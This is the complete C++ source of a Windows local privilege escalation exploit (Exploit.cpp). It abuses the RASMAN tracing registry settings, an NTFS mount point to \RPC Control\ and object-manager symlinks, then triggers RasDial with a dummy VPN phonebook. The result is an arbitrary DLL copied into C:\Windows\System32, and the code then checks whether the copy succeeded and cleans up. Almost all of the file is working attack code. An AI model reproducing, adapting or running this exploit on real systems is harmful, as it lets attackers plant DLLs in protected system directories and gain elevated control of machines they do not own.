Exploit.cpp

#include "Exploit.h"
#include "ReparsePoint.h"
#include "FileSymlink.h"
#include "CommonUtils.h"
#include "Utils.h"

#include <iostream>
#include <strsafe.h>
#include <ras.h>
#include <versionhelpers.h>

#include <winternl.h>

#pragma comment(lib, "Rasapi32.lib")
#pragma comment(lib,"ntdll.lib")

Exploit::Exploit()
{
	ZeroMemory(g_working_dir, MAX_PATH);
	ZeroMemory(g_junction_dir, MAX_PATH);
	ZeroMemory(g_dll_path, MAX_PATH);
	ZeroMemory(g_pbk_path, MAX_PATH);
	ZeroMemory(g_dll_path_target, MAX_PATH);
	ZeroMemory(g_dll_name_target, MAX_PATH);
	g_registry_set = FALSE;
	g_remove_targetdll = FALSE;
}

Exploit::~Exploit()
{
	Exploit::CleanUp();
}

void Exploit::CleanUp()
{
	int attempts = 0;

	// Restore registry settings 
	if (g_registry_set)
	{
		if (Exploit::UnsetRegistryTracing(MODULE))
		{
			if (DEBUG) { wprintf_s(L"[*] Restored registry settings.\n"); }
			g_registry_set = false;
		}
		else
		{
			if (DEBUG) { wprintf_s(L"[!] Failed to restore registry settings.\n"); }
		}
	}

	// Delete dummy Phonebook 
	if (wcslen(g_pbk_path) > 0)
	{
		if (GetFileAttributes(g_pbk_path) != INVALID_FILE_ATTRIBUTES)
		{
			while (DeleteFile(g_pbk_path) == 0)
			{
				// If the file is used by another process 
				if (GetLastError() == ERROR_SHARING_VIOLATION)
				{
					Sleep(500);
				}
				else
				{
					break;
				}
			}
			if (DEBUG) { wprintf_s(L"[*] Deleted file '%ls'.\n", g_pbk_path); }
		}
	}

	// Close symlink to fake DLL
	if (g_symlink_log)
	{
		CloseHandle(g_symlink_log);
	}

	if (g_symlink_old) { CloseHandle(g_symlink_old); } // Close symlink to fake DLL in C:\Windows\System32\ 

	// Delete the fake DLL 
	if (wcslen(g_dll_path) > 0)
	{
		if (GetFileAttributes(g_dll_path) != INVALID_FILE_ATTRIBUTES)
		{
			while (DeleteFile(g_dll_path) == 0)
			{
				// If the file is locked by another process 
				if (GetLastError() == ERROR_SHARING_VIOLATION)
				{
					Sleep(500);
				}
				else
				{
					break;
				}

			}
			if (DEBUG) { wprintf_s(L"[*] Deleted file '%ls'.\n", g_dll_path); }
		}
	}

	// Remove mount point directory 
	if (wcslen(g_junction_dir) > 0)
	{
		if (GetFileAttributes(g_junction_dir) != INVALID_FILE_ATTRIBUTES)
		{
			if (RemoveDirectory(g_junction_dir) == 0)
			{
				wprintf_s(L"[!] RemoveDirectory('%ls') failed (Err: %d).\n", g_junction_dir, GetLastError());
			}
			else
			{
				if (DEBUG) { wprintf_s(L"[*] Removed directory '%ls'.\n", g_junction_dir); }
			}
		}
	}

	// Remove working directory 
	attempts = 0;
	BOOL bFailure = FALSE;
	if (wcslen(g_working_dir) > 0)
	{
		if (GetFileAttributes(g_working_dir) != INVALID_FILE_ATTRIBUTES)
		{
			while (RemoveDirectory(g_working_dir) == 0)
			{
				if (GetLastError() == ERROR_DIR_NOT_EMPTY)
				{
					Sleep(500);
					attempts += 1;
				}
				else
				{
					wprintf_s(L"[*] RemoveDirectory('%ls') failed (Err: %d).\n", g_working_dir, GetLastError());
					bFailure = TRUE;
					break;
				}

				if (attempts >= 120) // i.e. wait for 60s max 
				{
					wprintf_s(L"[*] RemoveDirectory('%ls') failed (Directory is not empty).\n", g_working_dir);
					bFailure = TRUE;
					break;
				}
			}

			if (!bFailure)
			{
				if (DEBUG) { wprintf_s(L"[*] Removed directory '%ls'.\n", g_working_dir); }
			}
		}
	}

	// Remove target DLL
	if (g_remove_targetdll)
	{
		WCHAR path[MAX_PATH];

		//Exploit::GetTargetDllPath(path);
		Exploit::GetTargetDllPath(path, g_dll_name_target);

		if (GetFileAttributes(path) != INVALID_FILE_ATTRIBUTES)
		{
			WCHAR cmdline[1024];

			StringCchPrintf(cmdline, 1024, L"cmd /C del /F %ls", path);

			PROCESS_INFORMATION pi = {};
			STARTUPINFO si = {};
			si.cb = sizeof(si);

			STARTUPINFO info = { sizeof(info) };
			PROCESS_INFORMATION processInfo;
			CreateProcess(NULL, cmdline, NULL, NULL, TRUE, CREATE_DEFAULT_ERROR_MODE, NULL, NULL, &info, &processInfo);

			CloseHandle(processInfo.hProcess);
			CloseHandle(processInfo.hThread);
		}
	}
}

void Exploit::CleanUpDll()
{
	g_remove_targetdll = TRUE;
}

HANDLE Exploit::CreateSymlink(LPCWSTR link_name, LPCWSTR file_path)
{
	//BOOL isnative;
	WCHAR target[MAX_PATH];
	WCHAR link_name_full[MAX_PATH];
	//LPCWSTR file_path_native;
	HANDLE symlink = nullptr;

	ZeroMemory(target, MAX_PATH);
	ZeroMemory(link_name_full, MAX_PATH);

	StringCchCat(link_name_full, MAX_PATH, BASE_OBJ_DIR);
	StringCchCat(link_name_full, MAX_PATH, link_name);

	StringCchCat(target, MAX_PATH, L"\\??\\");
	StringCchCat(target, MAX_PATH, file_path);

	symlink = ::CreateSymlink(nullptr, link_name_full, target);
	if (!symlink)
	{
		wprintf_s(L"[-] CreateSymlink() failed (Err: %d).\n", GetLastError());
	}

	return symlink;
}

bool Exploit::SetRegistryTracing(LPCWSTR module_name)
{
	HKEY hKey;
	DWORD dw_data;
	DWORD dw_ret;
	LPCWSTR reg_key_root = L"SOFTWARE\\Microsoft\\Tracing\\";
	const int buf_size = 1024;

	if (wcslen(reg_key_root) + 1 + wcslen(module_name) > buf_size - 1)
	{
		return false;
	}
	else
	{
		WCHAR reg_key[buf_size];

		ZeroMemory(reg_key, buf_size);
		StringCchCat(reg_key, buf_size, reg_key_root);
		StringCchCat(reg_key, buf_size, module_name);

		// OPen registry key (create it if it doesn't already exist) 
		dw_ret = RegCreateKeyEx(HKEY_LOCAL_MACHINE, reg_key, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE | KEY_WOW64_64KEY, NULL, &hKey, NULL);
		if (dw_ret != ERROR_SUCCESS)
		{
			wprintf_s(L"[-] RegCreateKeyEx('%ls') failed (Err: %d).\n", reg_key, dw_ret);
			return false;
		}

		// Set value 'FileDirectory'
		dw_ret = RegSetValueEx(hKey, L"FileDirectory", 0, REG_EXPAND_SZ, (LPBYTE)g_junction_dir, sizeof(WCHAR) * (wcslen(g_junction_dir) + 1));
		if (dw_ret != ERROR_SUCCESS)
		{
			wprintf_s(L"[-] RegSetValueEx('FileDirectory') failed (Err: %d).\n", dw_ret);
			return false;
		}

		// Set value 'MaxFileSize' 
		dw_data = 0x8000;
		dw_ret = RegSetValueEx(hKey, L"MaxFileSize", 0, REG_DWORD, (LPBYTE)& dw_data, sizeof(DWORD));
		if (dw_ret != ERROR_SUCCESS)
		{
			wprintf_s(L"[-] RegSetValueEx('MaxFileSize') failed (Err: %d).\n", dw_ret);
			return false;
		}

		// Set value 'EnableFileTracing'
		dw_data = 1;
		dw_ret = RegSetValueEx(hKey, L"EnableFileTracing", 0, REG_DWORD, (LPBYTE)& dw_data, sizeof(DWORD));
		if (dw_ret != ERROR_SUCCESS)
		{
			wprintf_s(L"[-] RegSetValueEx('EnableFileTracing') failed (Err: %d).\n", dw_ret);
			return false;
		}

		RegCloseKey(hKey);
	}

	g_registry_set = true;

	return true;
}

bool Exploit::UnsetRegistryTracing(LPCWSTR module_name)
{
	HKEY hKey;
	DWORD dw_data;
	DWORD dw_ret;
	const WCHAR* directory = L"%windir%\\tracing";
	LPCWSTR reg_key_root = L"SOFTWARE\\Microsoft\\Tracing\\";
	const int buf_size = 1024;

	if (wcslen(reg_key_root) + 1 + wcslen(module_name) > buf_size - 1)
	{
		return false;
	}
	else
	{
		WCHAR reg_key[buf_size];

		ZeroMemory(reg_key, buf_size);
		StringCchCat(reg_key, buf_size, reg_key_root);
		StringCchCat(reg_key, buf_size, module_name);

		// OPen registry key (create it if it doesn't already exist) 
		dw_ret = RegCreateKeyEx(HKEY_LOCAL_MACHINE, reg_key, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE | KEY_WOW64_64KEY, NULL, &hKey, NULL);
		if (dw_ret != ERROR_SUCCESS)
		{
			wprintf_s(L"[-] RegCreateKeyEx('%ls') failed (Err: %d).\n", reg_key, dw_ret);
			return false;
		}

		// Set value 'EnableFileTracing'
		dw_data = 0;
		dw_ret = RegSetValueEx(hKey, L"EnableFileTracing", 0, REG_DWORD, (LPBYTE)& dw_data, sizeof(DWORD));
		if (dw_ret != ERROR_SUCCESS)
		{
			wprintf_s(L"[-] RegSetValueEx('EnableFileTracing') failed (Err: %d).\n", dw_ret);
			return false;
		}

		// Set value 'FileDirectory'
		dw_ret = RegSetValueEx(hKey, L"FileDirectory", 0, REG_EXPAND_SZ, (LPBYTE)directory, sizeof(WCHAR) * (wcslen(directory) + 1));
		if (dw_ret != ERROR_SUCCESS)
		{
			wprintf_s(L"[-] RegSetValueEx('FileDirectory') failed (Err: %d).\n", dw_ret);
			return false;
		}

		// Set value 'MaxFileSize' 
		dw_data = 0x100000;
		dw_ret = RegSetValueEx(hKey, L"MaxFileSize", 0, REG_DWORD, (LPBYTE)& dw_data, sizeof(DWORD));
		if (dw_ret != ERROR_SUCCESS)
		{
			wprintf_s(L"[-] RegSetValueEx('MaxFileSize') failed (Err: %d).\n", dw_ret);
			return false;
		}

		RegCloseKey(hKey);
	}
	return true;
}

bool Exploit::WritePhonebookFile(LPCWSTR path)
{
	HANDLE hFile;
	BOOL bErrorFlag = FALSE;
	const char* phoneBook = "[VPNTEST]\r\n"
		"Type=2\r\n"
		"MEDIA=rastapi\r\n"
		"Port=VPN2-0\r\n"
		"Device=Wan Miniport(IKEv2)\r\n"
		"DEVICE=vpn\r\n"
		"PhoneNumber=127.0.0.1\r\n";
	DWORD dwBytesToWrite = (DWORD)strlen(phoneBook);
	DWORD dwBytesWritten = 0;

	// Get handle on file 
	hFile = CreateFile(path, GENERIC_WRITE, 0, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
	if (hFile == INVALID_HANDLE_VALUE)
	{
		wprintf_s(L"[-] Failed to create Phonebook file.\n");
		return false;
	}

	// Write file content
	bErrorFlag = WriteFile(hFile, phoneBook, dwBytesToWrite, &dwBytesWritten, NULL);
	if (FALSE == bErrorFlag)
	{
		wprintf_s(L"[-] Failed to write Phonebook file content.\n");
		return false;
	}
	else
	{
		if (dwBytesWritten != dwBytesToWrite)
		{
			// This is an error because a synchronous write that results in
			// success (WriteFile returns TRUE) should write all data as
			// requested. This would not necessarily be the case for
			// asynchronous writes.
			wprintf_s(L"[-] Failed to write Phonebook file content.\n");
			return false;
		}
	}

	CloseHandle(hFile);

	return true;
}

bool Exploit::TriggerRasdial()
{
	DWORD dwRet;
	const WCHAR* szEntryName = TEXT("VPNTEST");
	const WCHAR* szUserName = TEXT("foo123");
	const WCHAR* szPassword = TEXT("foo123");
	const WCHAR* szDomain = TEXT("*");
	LPRASDIALPARAMS lpRasDialParams = NULL;
	HRASCONN hRasConn = NULL;

	// Allocate memory for the RASDIALPARAMS structure 
	lpRasDialParams = (LPRASDIALPARAMS)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(RASDIALPARAMS));
	if (lpRasDialParams == NULL)
	{
		wprintf_s(L"[-] HeapAlloc(LPRASDIALPARAMS) failed (Err: %d)", GetLastError());
		return false;
	}

	// Populate dwSize 
	// This depends on the OS version (compilation AND execution)
	// https://stackoverflow.com/questions/22836764/ras-api-sizeofrasdialparams-is-wrong-error-632

	if (IsWindowsVersionOrGreater(4, 1, NULL))
	{
		// WindowsVersion >= 0x401
		if (IsWindowsVersionOrGreater(6, 1, NULL))
		{
			// WindowsVersion >= 0x601
			if (IsWindowsVersionOrGreater(6, 2, NULL))
			{
				// WindowsVersion >= 0x602
				lpRasDialParams->dwSize = sizeof(RASDIALPARAMS);
			}
			else
			{
#if (WINVER >= 0x602)
				// WindowsVersion >= 0x601 AND WindowsVersion < 0x602
				lpRasDialParams->dwSize = offsetof(RASDIALPARAMSW, szEncPassword);
#endif
			}
		}
		else
		{
#if (WINVER >= 0x601)
			// WindowsVersion >= 0x401 AND WindowsVersion < 0x601
			lpRasDialParams->dwSize = offsetof(RASDIALPARAMSW, dwIfIndex);
#endif
		}
	}
	else
	{
#if (WINVER >= 0x401)
		// WindowsVersion < 0x401
		lpRasDialParams->dwSize = offsetof(RASDIALPARAMSW, dwSubEntry);
#endif
	}

	// Populate LPRASDIALPARAMS
	StringCchCopy(lpRasDialParams->szEntryName, lstrlen(szEntryName) + 1, szEntryName);
	StringCchCopy(lpRasDialParams->szUserName, lstrlen(szUserName) + 1, szUserName);
	StringCchCopy(lpRasDialParams->szPassword, lstrlen(szPassword) + 1, szPassword);
	StringCchCopy(lpRasDialParams->szDomain, lstrlen(szDomain) + 1, szDomain);

	// Call RasDial synchronously 
	//utils.printInfo(); std::wcout << "Trying to trigger file access with RasDial..." << std::endl;
	//dwRet = RasDial(NULL, szPbkFile, lpRasDialParams, 0, 0L, &hRasConn);
	dwRet = RasDial(NULL, g_pbk_path, lpRasDialParams, 0, 0L, &hRasConn);
	if (dwRet != ERROR_SUCCESS)
	{
		//utils.printError(); printf("RasDial failed (CODE=%d).\n", dwRet);
	}

	// Close the connection 
	dwRet = RasHangUp(hRasConn);

	if (lpRasDialParams)
	{
		HeapFree(GetProcessHeap(), 0, (LPVOID)lpRasDialParams);
	}

	//wprintf_s(L"[*] Rasdial returned.\n");

	return true;
}

bool Exploit::GetTargetDllPath(LPWSTR path, LPCWSTR target_dll_name)
{
	BOOL bIsWow64 = FALSE;

	if (!IsWow64Process(GetCurrentProcess(), &bIsWow64))
	{
		wprintf_s(L"[!] IsWow64Process() failed.\n");
		return false;
	}

	ZeroMemory(path, MAX_PATH);
	if (bIsWow64)
	{
		ZeroMemory(path, MAX_PATH);
		StringCchCat(path, MAX_PATH, L"C:\\Windows\\SysNative\\");
		//StringCchCat(path, MAX_PATH, DLL_NAME);
		StringCchCat(path, MAX_PATH, target_dll_name);
	}
	else
	{
		StringCchCat(path, MAX_PATH, g_dll_path_target);
	}

	return true;
}

bool Exploit::Run(LPCWSTR dll_path, LPCWSTR target_dll_name)
{
	DWORD dwRet = 0;
	WCHAR lpTempPathBuffer[MAX_PATH];
	HANDLE hFile;
	LARGE_INTEGER lpFileSize;

	// ========================================================================
	// Save 'target_dll_name'
	// ========================================================================
	StringCchCat(g_dll_name_target, MAX_PATH, target_dll_name);

	// ========================================================================
	// Sanity checks
	// ========================================================================
	if (GetFileAttributes(dll_path) == INVALID_FILE_ATTRIBUTES)
	{
		wprintf_s(L"[-] Couldn't find DLL '%ls'.\n", dll_path);
		return false;
	}

	hFile = CreateFile(dll_path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED, NULL);
	if (hFile)
	{
		GetFileSizeEx(hFile, &lpFileSize);
		CloseHandle(hFile);
	}


	// ========================================================================
	// Create a workspace 
	// ========================================================================
	dwRet = GetTempPath(MAX_PATH, lpTempPathBuffer);
	if (dwRet > MAX_PATH || (dwRet == 0))
	{
		wprintf_s(L"[!] GetTempPath() failed (Err: %d).\n", GetLastError());

		ZeroMemory(lpTempPathBuffer, MAX_PATH);
		StringCchCat(lpTempPathBuffer, MAX_PATH, L"C:\\foo123\\");
	}
	else
	{
		if (lpTempPathBuffer[wcslen(lpTempPathBuffer) - 1] != '\\')
		{
			StringCchCat(lpTempPathBuffer, MAX_PATH, L"\\");
		}
		StringCchCat(lpTempPathBuffer, MAX_PATH, L"foo123\\");
	}

	if (!CreateDirectory(lpTempPathBuffer, nullptr))
	{
		dwRet = GetLastError();
		wprintf_s(L"[-] CreateDirectory('%ls') failed (Err: %d).\n", lpTempPathBuffer, dwRet);
		if (dwRet == ERROR_ALREADY_EXISTS)
		{
			wprintf_s(L"[!] The directory '%ls' already exists.\n", lpTempPathBuffer);
		}
		return false;
	}

	StringCchCat(g_working_dir, MAX_PATH, lpTempPathBuffer);

	wprintf_s(L"[*] Using Workspace '%ls'.\n", g_working_dir);


	// ========================================================================
	// Create a directory for the mount point 
	// ========================================================================
	ZeroMemory(lpTempPathBuffer, MAX_PATH);
	StringCchCat(lpTempPathBuffer, MAX_PATH, g_working_dir);
	StringCchCat(lpTempPathBuffer, MAX_PATH, L"mountpoint\\");
	if (!CreateDirectory(lpTempPathBuffer, nullptr))
	{
		dwRet = GetLastError();
		wprintf_s(L"[-] CreateDirectory('%ls') failed (Err: %d).\n", lpTempPathBuffer, GetLastError());
		if (dwRet == ERROR_ALREADY_EXISTS)
		{
			wprintf_s(L"[!] The directory '%ls' already exists.\n", lpTempPathBuffer);
		}
		return false;
	}
	StringCchCat(g_junction_dir, MAX_PATH, lpTempPathBuffer);

	if (DEBUG) { wprintf_s(L"[*] Using Mount Point Directory '%ls'.\n", g_junction_dir); }


	// ========================================================================
	// Copy a random file to the workspace and rename it with the target 
	// DLL filename 
	// ========================================================================
	ZeroMemory(lpTempPathBuffer, MAX_PATH);
	StringCchCat(lpTempPathBuffer, MAX_PATH, g_working_dir);
	//StringCchCat(lpTempPathBuffer, MAX_PATH, DLL_NAME);
	StringCchCat(lpTempPathBuffer, MAX_PATH, target_dll_name);
	if (!CopyFile(dll_path, lpTempPathBuffer, FALSE))
	{
		wprintf_s(L"[-] CopyFile('%ls', '%ls') failed (Err: %d).\n", dll_path, lpTempPathBuffer, GetLastError());
		return false;
	}
	StringCchCat(g_dll_path, MAX_PATH, lpTempPathBuffer);

	if (DEBUG) { wprintf_s(L"[+] Copied DLL to '%ls'.\n", g_dll_path); }


	// ========================================================================
	// Create the Mount Point to \RPC Control\
	// ========================================================================
	if (!ReparsePoint::CreateMountPoint(g_junction_dir, BASE_OBJ_DIR, L""))
	{
		wprintf_s(L"[-] Error creating junction (Err: %d).\n", ReparsePoint::GetLastError());
		return false;
	}

	wprintf_s(L"[+] Created Mount Point to \\RPC Control\\.\n");


	// ========================================================================
	// Create the symlink to the fake DLL 
	// ========================================================================
	wprintf_s(L"[*] Creating symlinks...\n");

	if (!Exploit::CreateSymlink(LINKNAME_LOG, g_dll_path))
	{
		return false;
	}


	// ========================================================================
	// Create the symlink to the target file in c:\Windows\System32\ 
	// ========================================================================
	StringCchCat(g_dll_path_target, MAX_PATH, L"C:\\Windows\\System32\\");
	//StringCchCat(g_dll_path_target, MAX_PATH, DLL_NAME);
	StringCchCat(g_dll_path_target, MAX_PATH, target_dll_name);
	if (!Exploit::CreateSymlink(LINKNAME_OLD, g_dll_path_target))
	{
		return false;
	}

	// ========================================================================
	// Create Phonebook file 
	// ========================================================================
	StringCchCat(g_pbk_path, MAX_PATH, g_working_dir);
	StringCchCat(g_pbk_path, MAX_PATH, PBK_NAME);
	if (!Exploit::WritePhonebookFile(g_pbk_path))
	{
		return false;
	}

	wprintf_s(L"[+] Created dummy Phonebook file '%ls'.\n", g_pbk_path);


	// ========================================================================
	// Configure Tracing in Registry 
	// ========================================================================
	Exploit::SetRegistryTracing(MODULE);


	// ========================================================================
	// Trigger file write using Rasdial  
	// ========================================================================
	wprintf_s(L"[*] Triggering fake VPN connection...");
	Exploit::TriggerRasdial();
	wprintf_s(L" Done.\n");


	// ========================================================================
	// Check whether the fake DLL was successfully moved to C:\Windows\System32\  
	// ========================================================================
	//Exploit::GetTargetDllPath(lpTempPathBuffer, DLL_NAME);
	Exploit::GetTargetDllPath(lpTempPathBuffer, target_dll_name);

	if (GetFileAttributes(lpTempPathBuffer) != INVALID_FILE_ATTRIBUTES)
	{
		LARGE_INTEGER lpFileSizeNew;
		hFile = CreateFile(lpTempPathBuffer, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED, NULL);
		if (hFile)
		{
			GetFileSizeEx(hFile, &lpFileSizeNew);
			CloseHandle(hFile);
		}

		if ((lpFileSize.QuadPart == lpFileSizeNew.QuadPart))
		{
			wprintf_s(L"[+] Exploit completed. Successfully created '%ls'.\n", g_dll_path_target);
		}
		else
		{
			g_remove_targetdll = TRUE;
			wprintf_s(L"[-] Exploit failed. The file '%ls' exists but its size differs from the original.\n", g_dll_path_target);
			return false;
		}
	}
	else
	{
		wprintf_s(L"[-] Exploit failed. Couldn't find '%ls'.\n", g_dll_path_target);
		return false;
	}

	return true;
}